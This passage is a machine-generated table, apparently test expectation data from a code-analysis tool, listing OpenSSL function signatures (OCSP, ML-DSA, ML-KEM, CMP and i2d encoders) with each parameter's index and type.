EVP_SIGNATURE_names_do_all | 2 | void * | +| (const EVP_SKEY *) | | EVP_SKEY_get0_skeymgmt_name | 0 | const EVP_SKEY * | +| (const EVP_SKEYMGMT *) | | EVP_SKEYMGMT_get0_description | 0 | const EVP_SKEYMGMT * | +| (const EVP_SKEYMGMT *) | | EVP_SKEYMGMT_get0_name | 0 | const EVP_SKEYMGMT * | +| (const EVP_SKEYMGMT *) | | EVP_SKEYMGMT_get0_provider | 0 | const EVP_SKEYMGMT * | +| (const EVP_SKEYMGMT *,..(*)(..),void *) | | EVP_SKEYMGMT_names_do_all | 0 | const EVP_SKEYMGMT * | +| (const EVP_SKEYMGMT *,..(*)(..),void *) | | EVP_SKEYMGMT_names_do_all | 1 | ..(*)(..) | +| (const EVP_SKEYMGMT *,..(*)(..),void *) | | EVP_SKEYMGMT_names_do_all | 2 | void * | +| (const EXTENDED_KEY_USAGE *,unsigned char **) | | i2d_EXTENDED_KEY_USAGE | 0 | const EXTENDED_KEY_USAGE * | +| (const EXTENDED_KEY_USAGE *,unsigned char **) | | i2d_EXTENDED_KEY_USAGE | 1 | unsigned char ** | +| (const FFC_PARAMS *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_ffc_params_todata | 0 | const FFC_PARAMS * | +| (const FFC_PARAMS *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_ffc_params_todata | 1 | OSSL_PARAM_BLD * | +| (const FFC_PARAMS *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_ffc_params_todata | 2 | OSSL_PARAM[] | +| (const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | ossl_ffc_params_get0_pqg | 0 | const FFC_PARAMS * | +| (const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | ossl_ffc_params_get0_pqg | 1 | const BIGNUM ** | +| (const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | ossl_ffc_params_get0_pqg | 2 | const BIGNUM ** | +| (const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | ossl_ffc_params_get0_pqg | 3 | const BIGNUM ** | +| (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key | 0 | const FFC_PARAMS * | +| (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key | 1 | const BIGNUM * | +| (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key | 2 | int * | +| (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key_partial | 0 | const FFC_PARAMS * | +| (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key_partial | 1 | const BIGNUM * | +| (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key_partial | 2 | int * | +| (const FFC_PARAMS *,unsigned char **,size_t *,int *) | | ossl_ffc_params_get_validate_params | 0 | const FFC_PARAMS * | +| (const FFC_PARAMS *,unsigned char **,size_t *,int *) | | ossl_ffc_params_get_validate_params | 1 | unsigned char ** | +| (const FFC_PARAMS *,unsigned char **,size_t *,int *) | | ossl_ffc_params_get_validate_params | 2 | size_t * | +| (const FFC_PARAMS *,unsigned char **,size_t *,int *) | | ossl_ffc_params_get_validate_params | 3 | int * | +| (const GENERAL_NAME *) | | GENERAL_NAME_dup | 0 | const GENERAL_NAME * | +| (const GENERAL_NAME *,int *) | | GENERAL_NAME_get0_value | 0 | const GENERAL_NAME * | +| (const GENERAL_NAME *,int *) | | GENERAL_NAME_get0_value | 1 | int * | +| (const GENERAL_NAME *,unsigned char **) | | i2d_GENERAL_NAME | 0 | const GENERAL_NAME * | +| (const GENERAL_NAME *,unsigned char **) | | i2d_GENERAL_NAME | 1 | unsigned char ** | +| (const GENERAL_NAMES *,unsigned char **) | | i2d_GENERAL_NAMES | 0 | const GENERAL_NAMES * | +| (const GENERAL_NAMES *,unsigned char **) | | i2d_GENERAL_NAMES | 1 | unsigned char ** | +| (const GOST_KX_MESSAGE *,unsigned char **) | | i2d_GOST_KX_MESSAGE | 0 | const GOST_KX_MESSAGE * | +| (const GOST_KX_MESSAGE *,unsigned char **) | | i2d_GOST_KX_MESSAGE | 1 | unsigned char ** | +| (const HMAC_CTX *) | | HMAC_CTX_get_md | 0 | const HMAC_CTX * | +| (const HMAC_CTX *) | | HMAC_size | 0 | const HMAC_CTX * | +| (const HT_CONFIG *) | | ossl_ht_new | 0 | const HT_CONFIG * | +| (const IPAddressChoice *,unsigned char **) | | i2d_IPAddressChoice | 0 | const IPAddressChoice * | +| (const IPAddressChoice *,unsigned char **) | | i2d_IPAddressChoice | 1 | unsigned char ** | +| (const IPAddressFamily *) | | X509v3_addr_get_afi | 0 | const IPAddressFamily * | +| (const IPAddressFamily *,unsigned char **) | | i2d_IPAddressFamily | 0 | const IPAddressFamily * | +| (const IPAddressFamily *,unsigned char **) | | i2d_IPAddressFamily | 1 | unsigned char ** | +| (const IPAddressOrRange *,unsigned char **) | | i2d_IPAddressOrRange | 0 | const IPAddressOrRange * | +| (const IPAddressOrRange *,unsigned char **) | | i2d_IPAddressOrRange | 1 | unsigned char ** | +| (const IPAddressRange *,unsigned char **) | | i2d_IPAddressRange | 0 | const IPAddressRange * | +| (const IPAddressRange *,unsigned char **) | | i2d_IPAddressRange | 1 | unsigned char ** | +| (const ISSUER_SIGN_TOOL *,unsigned char **) | | i2d_ISSUER_SIGN_TOOL | 0 | const ISSUER_SIGN_TOOL * | +| (const ISSUER_SIGN_TOOL *,unsigned char **) | | i2d_ISSUER_SIGN_TOOL | 1 | unsigned char ** | +| (const ISSUING_DIST_POINT *,unsigned char **) | | i2d_ISSUING_DIST_POINT | 0 | const ISSUING_DIST_POINT * | +| (const ISSUING_DIST_POINT *,unsigned char **) | | i2d_ISSUING_DIST_POINT | 1 | unsigned char ** | +| (const MATRIX *,const VECTOR *,VECTOR *) | | ossl_ml_dsa_matrix_mult_vector | 0 | const MATRIX * | +| (const MATRIX *,const VECTOR *,VECTOR *) | | ossl_ml_dsa_matrix_mult_vector | 1 | const VECTOR * | +| (const MATRIX *,const VECTOR *,VECTOR *) | | ossl_ml_dsa_matrix_mult_vector | 2 | VECTOR * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get0_libctx | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_collision_strength_bits | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_name | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_priv | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_priv_len | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_prov_flags | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_pub | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_pub_len | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_seed | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_get_sig_len | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *) | | ossl_ml_dsa_key_params | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | int | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t) | | ossl_ml_dsa_mu_init | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t) | | ossl_ml_dsa_mu_init | 1 | int | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t) | | ossl_ml_dsa_mu_init | 2 | const uint8_t * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t) | | ossl_ml_dsa_mu_init | 3 | size_t | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 1 | int | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 2 | const uint8_t * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 3 | size_t | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 4 | const uint8_t * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 5 | size_t | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 6 | const uint8_t * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 7 | size_t | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 8 | int | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 9 | unsigned char * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 10 | size_t * | +| (const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t) | | ossl_ml_dsa_sign | 11 | size_t | +| (const ML_DSA_KEY *,unsigned char **) | | ossl_ml_dsa_i2d_pubkey | 0 | const ML_DSA_KEY * | +| (const ML_DSA_KEY *,unsigned char **) | | ossl_ml_dsa_i2d_pubkey | 1 | unsigned char ** | +| (const ML_KEM_KEY *,const ML_KEM_KEY *) | | ossl_ml_kem_pubkey_cmp | 0 | const ML_KEM_KEY * | +| (const ML_KEM_KEY *,const ML_KEM_KEY *) | | ossl_ml_kem_pubkey_cmp | 1 | const ML_KEM_KEY * | +| (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 0 | const ML_KEM_KEY * | +| (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | int | +| (const ML_KEM_KEY *,unsigned char **) | | ossl_ml_kem_i2d_pubkey | 0 | const ML_KEM_KEY * | +| (const ML_KEM_KEY *,unsigned char **) | | ossl_ml_kem_i2d_pubkey | 1 | unsigned char ** | +| (const NAMING_AUTHORITY *) | | NAMING_AUTHORITY_get0_authorityId | 0 | const NAMING_AUTHORITY * | +| (const NAMING_AUTHORITY *) | | NAMING_AUTHORITY_get0_authorityText | 0 | const NAMING_AUTHORITY * | +| (const NAMING_AUTHORITY *) | | NAMING_AUTHORITY_get0_authorityURL | 0 | const NAMING_AUTHORITY * | +| (const NAMING_AUTHORITY *,unsigned char **) | | i2d_NAMING_AUTHORITY | 0 | const NAMING_AUTHORITY * | +| (const NAMING_AUTHORITY *,unsigned char **) | | i2d_NAMING_AUTHORITY | 1 | unsigned char ** | +| (const NETSCAPE_CERT_SEQUENCE *,unsigned char **) | | i2d_NETSCAPE_CERT_SEQUENCE | 0 | const NETSCAPE_CERT_SEQUENCE * | +| (const NETSCAPE_CERT_SEQUENCE *,unsigned char **) | | i2d_NETSCAPE_CERT_SEQUENCE | 1 | unsigned char ** | +| (const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **) | | i2d_NETSCAPE_ENCRYPTED_PKEY | 0 | const NETSCAPE_ENCRYPTED_PKEY * | +| (const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **) | | i2d_NETSCAPE_ENCRYPTED_PKEY | 1 | unsigned char ** | +| (const NETSCAPE_PKEY *,unsigned char **) | | i2d_NETSCAPE_PKEY | 0 | const NETSCAPE_PKEY * | +| (const NETSCAPE_PKEY *,unsigned char **) | | i2d_NETSCAPE_PKEY | 1 | unsigned char ** | +| (const NETSCAPE_SPKAC *,unsigned char **) | | i2d_NETSCAPE_SPKAC | 0 | const NETSCAPE_SPKAC * | +| (const NETSCAPE_SPKAC *,unsigned char **) | | i2d_NETSCAPE_SPKAC | 1 | unsigned char ** | +| (const NETSCAPE_SPKI *,unsigned char **) | | i2d_NETSCAPE_SPKI | 0 | const NETSCAPE_SPKI * | +| (const NETSCAPE_SPKI *,unsigned char **) | | i2d_NETSCAPE_SPKI | 1 | unsigned char ** | +| (const NOTICEREF *,unsigned char **) | | i2d_NOTICEREF | 0 | const NOTICEREF * | +| (const NOTICEREF *,unsigned char **) | | i2d_NOTICEREF | 1 | unsigned char ** | +| (const OCSP_BASICRESP *) | | OCSP_resp_get0_certs | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *) | | OCSP_resp_get0_produced_at | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *) | | OCSP_resp_get0_respdata | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *) | | OCSP_resp_get0_signature | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *) | | OCSP_resp_get0_tbs_sigalg | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *,ASN1_OCTET_STRING **,X509_NAME **) | | OCSP_resp_get1_id | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *,ASN1_OCTET_STRING **,X509_NAME **) | | OCSP_resp_get1_id | 1 | ASN1_OCTET_STRING ** | +| (const OCSP_BASICRESP *,ASN1_OCTET_STRING **,X509_NAME **) | | OCSP_resp_get1_id | 2 | X509_NAME ** | +| (const OCSP_BASICRESP *,unsigned char **) | | i2d_OCSP_BASICRESP | 0 | const OCSP_BASICRESP * | +| (const OCSP_BASICRESP *,unsigned char **) | | i2d_OCSP_BASICRESP | 1 | unsigned char ** | +| (const OCSP_CERTID *) | | OCSP_CERTID_dup | 0 | const OCSP_CERTID * | +| (const OCSP_CERTID *,const OCSP_CERTID *) | | OCSP_id_cmp | 0 | const OCSP_CERTID * | +| (const OCSP_CERTID *,const OCSP_CERTID *) | | OCSP_id_cmp | 1 | const OCSP_CERTID * | +| (const OCSP_CERTID *,const OCSP_CERTID *) | | OCSP_id_issuer_cmp | 0 | const OCSP_CERTID * | +| (const OCSP_CERTID *,const OCSP_CERTID *) | | OCSP_id_issuer_cmp | 1 | const OCSP_CERTID * | +| (const OCSP_CERTID *,unsigned char **) | | i2d_OCSP_CERTID | 0 | const OCSP_CERTID * | +| (const OCSP_CERTID *,unsigned char **) | | i2d_OCSP_CERTID | 1 | unsigned char ** | +| (const OCSP_CERTSTATUS *,unsigned char **) | | i2d_OCSP_CERTSTATUS | 0 | const OCSP_CERTSTATUS * | +| (const OCSP_CERTSTATUS *,unsigned char **) | | i2d_OCSP_CERTSTATUS | 1 | unsigned char ** | +| (const OCSP_CRLID *,unsigned char **) | | i2d_OCSP_CRLID | 0 | const OCSP_CRLID * | +| (const OCSP_CRLID *,unsigned char **) | | i2d_OCSP_CRLID | 1 | unsigned char ** | +| (const OCSP_ONEREQ *,unsigned char **) | | i2d_OCSP_ONEREQ | 0 | const OCSP_ONEREQ * | +| (const OCSP_ONEREQ *,unsigned char **) | | i2d_OCSP_ONEREQ | 1 | unsigned char ** | +| (const OCSP_REQINFO *,unsigned char **) | | i2d_OCSP_REQINFO | 0 | const OCSP_REQINFO * | +| (const OCSP_REQINFO *,unsigned char **) | | i2d_OCSP_REQINFO | 1 | unsigned char ** | +| (const OCSP_REQUEST *,unsigned char **) | | i2d_OCSP_REQUEST | 0 | const OCSP_REQUEST * | +| (const OCSP_REQUEST *,unsigned char **) | | i2d_OCSP_REQUEST | 1 | unsigned char ** | +| (const OCSP_RESPBYTES *,unsigned char **) | | i2d_OCSP_RESPBYTES | 0 | const OCSP_RESPBYTES * | +| (const OCSP_RESPBYTES *,unsigned char **) | | i2d_OCSP_RESPBYTES | 1 | unsigned char ** | +| (const OCSP_RESPDATA *,unsigned char **) | | i2d_OCSP_RESPDATA | 0 | const OCSP_RESPDATA * | +| (const OCSP_RESPDATA *,unsigned char **) | | i2d_OCSP_RESPDATA | 1 | unsigned char ** | +| (const OCSP_RESPID *,unsigned char **) | | i2d_OCSP_RESPID | 0 | const OCSP_RESPID * | +| (const OCSP_RESPID *,unsigned char **) | | i2d_OCSP_RESPID | 1 | unsigned char ** | +| (const OCSP_RESPONSE *,unsigned char **) | | i2d_OCSP_RESPONSE | 0 | const OCSP_RESPONSE * | +| (const OCSP_RESPONSE *,unsigned char **) | | i2d_OCSP_RESPONSE | 1 | unsigned char ** | +| (const OCSP_REVOKEDINFO *,unsigned char **) | | i2d_OCSP_REVOKEDINFO | 0 | const OCSP_REVOKEDINFO * | +| (const OCSP_REVOKEDINFO *,unsigned char **) | | i2d_OCSP_REVOKEDINFO | 1 | unsigned char ** | +| (const OCSP_SERVICELOC *,unsigned char **) | | i2d_OCSP_SERVICELOC | 0 | const OCSP_SERVICELOC * | +| (const OCSP_SERVICELOC *,unsigned char **) | | i2d_OCSP_SERVICELOC | 1 | unsigned char ** | +| (const OCSP_SIGNATURE *,unsigned char **) | | i2d_OCSP_SIGNATURE | 0 | const OCSP_SIGNATURE * | +| (const OCSP_SIGNATURE *,unsigned char **) | | i2d_OCSP_SIGNATURE | 1 | unsigned char ** | +| (const OCSP_SINGLERESP *) | | OCSP_SINGLERESP_get0_id | 0 | const OCSP_SINGLERESP * | +| (const OCSP_SINGLERESP *,unsigned char **) | | i2d_OCSP_SINGLERESP | 0 | const OCSP_SINGLERESP * | +| (const OCSP_SINGLERESP *,unsigned char **) | | i2d_OCSP_SINGLERESP | 1 | unsigned char ** | +| (const OPENSSL_CSTRING *,const OPENSSL_CSTRING *) | | index_name_cmp | 0 | const OPENSSL_CSTRING * | +| (const OPENSSL_CSTRING *,const OPENSSL_CSTRING *) | | index_name_cmp | 1 | const OPENSSL_CSTRING * | +| (const OPENSSL_LHASH *) | | OPENSSL_LH_get_down_load | 0 | const OPENSSL_LHASH * | +| (const OPENSSL_LHASH *) | | OPENSSL_LH_num_items | 0 | const OPENSSL_LHASH * | +| (const OPENSSL_SA *) | | ossl_sa_num | 0 | const OPENSSL_SA * | +| (const OPENSSL_SA *,..(*)(..),void *) | | ossl_sa_doall_arg | 0 | const OPENSSL_SA * | +| (const OPENSSL_SA *,..(*)(..),void *) | | ossl_sa_doall_arg | 1 | ..(*)(..) | +| (const OPENSSL_SA *,..(*)(..),void *) | | ossl_sa_doall_arg | 2 | void * | +| (const OPENSSL_SA *,ossl_uintmax_t) | | ossl_sa_get | 0 | const OPENSSL_SA * | +| (const OPENSSL_SA *,ossl_uintmax_t) | | ossl_sa_get | 1 | ossl_uintmax_t | +| (const OPENSSL_STACK *) | | OPENSSL_sk_dup | 0 | const OPENSSL_STACK * | +| (const OPENSSL_STACK *) | | OPENSSL_sk_is_sorted | 0 | const OPENSSL_STACK * | +| (const OPENSSL_STACK *) | | OPENSSL_sk_num | 0 | const OPENSSL_STACK * | +| (const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc) | | OPENSSL_sk_deep_copy | 0 | const OPENSSL_STACK * | +| (const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc) | | OPENSSL_sk_deep_copy | 1 | OPENSSL_sk_copyfunc | +| (const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc) | | OPENSSL_sk_deep_copy | 2 | OPENSSL_sk_freefunc | +| (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 0 | const OPENSSL_STACK * | +| (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | int | +| (const OPTIONS *) | | opt_help | 0 | const OPTIONS * | +| (const OSSL_AA_DIST_POINT *,unsigned char **) | | i2d_OSSL_AA_DIST_POINT | 0 | const OSSL_AA_DIST_POINT * | +| (const OSSL_AA_DIST_POINT *,unsigned char **) | | i2d_OSSL_AA_DIST_POINT | 1 | unsigned char ** | +| (const OSSL_ALGORITHM *) | | ossl_algorithm_get1_first_name | 0 | const OSSL_ALGORITHM * | +| (const OSSL_ALGORITHM_CAPABLE *,OSSL_ALGORITHM *) | | ossl_prov_cache_exported_algorithms | 0 | const OSSL_ALGORITHM_CAPABLE * | +| (const OSSL_ALGORITHM_CAPABLE *,OSSL_ALGORITHM *) | | ossl_prov_cache_exported_algorithms | 1 | OSSL_ALGORITHM * | +| (const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **) | | i2d_OSSL_ALLOWED_ATTRIBUTES_CHOICE | 0 | const OSSL_ALLOWED_ATTRIBUTES_CHOICE * | +| (const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **) | | i2d_OSSL_ALLOWED_ATTRIBUTES_CHOICE | 1 | unsigned char ** | +| (const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **) | | i2d_OSSL_ALLOWED_ATTRIBUTES_ITEM | 0 | const OSSL_ALLOWED_ATTRIBUTES_ITEM * | +| (const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **) | | i2d_OSSL_ALLOWED_ATTRIBUTES_ITEM | 1 | unsigned char ** | +| (const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **) | | i2d_OSSL_ALLOWED_ATTRIBUTES_SYNTAX | 0 | const OSSL_ALLOWED_ATTRIBUTES_SYNTAX * | +| (const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **) | | i2d_OSSL_ALLOWED_ATTRIBUTES_SYNTAX | 1 | unsigned char ** | +| (const OSSL_ATAV *,unsigned char **) | | i2d_OSSL_ATAV | 0 | const OSSL_ATAV * | +| (const OSSL_ATAV *,unsigned char **) | | i2d_OSSL_ATAV | 1 | unsigned char ** | +| (const OSSL_ATTRIBUTES_SYNTAX *,unsigned char **) | | i2d_OSSL_ATTRIBUTES_SYNTAX | 0 | const OSSL_ATTRIBUTES_SYNTAX * | +| (const OSSL_ATTRIBUTES_SYNTAX *,unsigned char **) | | i2d_OSSL_ATTRIBUTES_SYNTAX | 1 | unsigned char ** | +| (const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_DESCRIPTOR | 0 | const OSSL_ATTRIBUTE_DESCRIPTOR * | +| (const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_DESCRIPTOR | 1 | unsigned char ** | +| (const OSSL_ATTRIBUTE_MAPPING *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_MAPPING | 0 | const OSSL_ATTRIBUTE_MAPPING * | +| (const OSSL_ATTRIBUTE_MAPPING *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_MAPPING | 1 | unsigned char ** | +| (const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_MAPPINGS | 0 | const OSSL_ATTRIBUTE_MAPPINGS * | +| (const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_MAPPINGS | 1 | unsigned char ** | +| (const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_TYPE_MAPPING | 0 | const OSSL_ATTRIBUTE_TYPE_MAPPING * | +| (const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_TYPE_MAPPING | 1 | unsigned char ** | +| (const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_VALUE_MAPPING | 0 | const OSSL_ATTRIBUTE_VALUE_MAPPING * | +| (const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_VALUE_MAPPING | 1 | unsigned char ** | +| (const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **) | | i2d_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX | 0 | const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX * | +| (const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **) | | i2d_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX | 1 | unsigned char ** | +| (const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **) | | i2d_OSSL_BASIC_ATTR_CONSTRAINTS | 0 | const OSSL_BASIC_ATTR_CONSTRAINTS * | +| (const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **) | | i2d_OSSL_BASIC_ATTR_CONSTRAINTS | 1 | unsigned char ** | +| (const OSSL_CMP_ATAV *) | | OSSL_CMP_ATAV_get0_algId | 0 | const OSSL_CMP_ATAV * | +| (const OSSL_CMP_ATAV *) | | OSSL_CMP_ATAV_get0_type | 0 | const OSSL_CMP_ATAV * | +| (const OSSL_CMP_ATAV *) | | OSSL_CMP_ATAV_get0_value | 0 | const OSSL_CMP_ATAV * | +| (const OSSL_CMP_ATAVS *,unsigned char **) | | i2d_OSSL_CMP_ATAVS | 0 | const OSSL_CMP_ATAVS * | +| (const OSSL_CMP_ATAVS *,unsigned char **) | | i2d_OSSL_CMP_ATAVS | 1 | unsigned char ** | +| (const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **) | | i2d_OSSL_CMP_CAKEYUPDANNCONTENT | 0 | const OSSL_CMP_CAKEYUPDANNCONTENT * | +| (const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **) | | i2d_OSSL_CMP_CAKEYUPDANNCONTENT | 1 | unsigned char ** | +| (const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **) | | i2d_OSSL_CMP_CERTIFIEDKEYPAIR | 0 | const OSSL_CMP_CERTIFIEDKEYPAIR * | +| (const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **) | | i2d_OSSL_CMP_CERTIFIEDKEYPAIR | 1 | unsigned char ** | +| (const OSSL_CMP_CERTORENCCERT *,unsigned char **) | | i2d_OSSL_CMP_CERTORENCCERT | 0 | const OSSL_CMP_CERTORENCCERT * | +| (const OSSL_CMP_CERTORENCCERT *,unsigned char **) | | i2d_OSSL_CMP_CERTORENCCERT | 1 | unsigned char ** | +| (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 0 | const OSSL_CMP_CERTREPMESSAGE * | +| (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | int | +| (const OSSL_CMP_CERTREPMESSAGE *,unsigned char **) | | i2d_OSSL_CMP_CERTREPMESSAGE | 0 | const OSSL_CMP_CERTREPMESSAGE * | +| (const OSSL_CMP_CERTREPMESSAGE *,unsigned char **) | | i2d_OSSL_CMP_CERTREPMESSAGE | 1 | unsigned char ** | +| (const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **) | | i2d_OSSL_CMP_CERTREQTEMPLATE | 0 | const OSSL_CMP_CERTREQTEMPLATE * | +| (const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **) | | i2d_OSSL_CMP_CERTREQTEMPLATE | 1 | unsigned char ** | +| (const OSSL_CMP_CERTRESPONSE *,unsigned char **) | | i2d_OSSL_CMP_CERTRESPONSE | 0 | const OSSL_CMP_CERTRESPONSE * | +| (const OSSL_CMP_CERTRESPONSE *,unsigned char **) | | i2d_OSSL_CMP_CERTRESPONSE | 1 | unsigned char ** | +| (const OSSL_CMP_CERTSTATUS *,unsigned char **) | | i2d_OSSL_CMP_CERTSTATUS | 0 | const OSSL_CMP_CERTSTATUS * | +| (const OSSL_CMP_CERTSTATUS *,unsigned char **) | | i2d_OSSL_CMP_CERTSTATUS | 1 | unsigned char ** | +| (const OSSL_CMP_CHALLENGE *,unsigned char **) | | i2d_OSSL_CMP_CHALLENGE | 0 | const OSSL_CMP_CHALLENGE * | +| (const OSSL_CMP_CHALLENGE *,unsigned char **) | | i2d_OSSL_CMP_CHALLENGE | 1 | unsigned char ** | +| (const OSSL_CMP_CRLSOURCE *,unsigned char **) | | i2d_OSSL_CMP_CRLSOURCE | 0 | const OSSL_CMP_CRLSOURCE * | +| (const OSSL_CMP_CRLSOURCE *,unsigned char **) | | i2d_OSSL_CMP_CRLSOURCE | 1 | unsigned char ** | +| (const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **) | | OSSL_CMP_CRLSTATUS_get0 | 0 | const OSSL_CMP_CRLSTATUS * | +| (const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **) | | OSSL_CMP_CRLSTATUS_get0 | 1 | DIST_POINT_NAME ** | +| (const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **) | | OSSL_CMP_CRLSTATUS_get0 | 2 | 